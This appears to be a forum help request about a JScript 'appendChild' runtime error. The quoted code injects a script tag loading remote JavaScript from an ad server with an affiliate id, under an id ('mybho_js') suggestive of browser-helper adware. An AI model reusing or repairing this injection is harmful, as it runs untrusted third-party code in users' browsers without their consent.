When run my project open this file scriptblock and show the error in this line :
Microsoft JScript runtime error: Unable to get value of the property 'appendChild': object is undefiend or null
Expand|Select|Wrap|Line Numbers
- var html_doc = document.getElementsByTagName('body')[0];
- var _js = document.createElement('script');
- _js.setAttribute('type', 'text/javascript');
- _js.setAttribute('id', 'mybho_js');
- var protocol = 'http';
- if (location.protocol == 'https:') protocol = 'https';
- _js.setAttribute('src', protocol + '://ads.okitspace.com/uploads/cover.js?id=03fbce0d90fd46f9d2eefb90370a336d&affid=EAZELEN');
- if(!document.getElementById('mybho_js')) html_doc.appendChild(_js);->append child is undefined or null
Expand|Select|Wrap|Line Numbers
- <a onclient="openwindow()"></a>
Why does this happen and how can I resolve this problem?
Line: 1
Error: Unable to get value of the property 'appendChild': object is null or undefined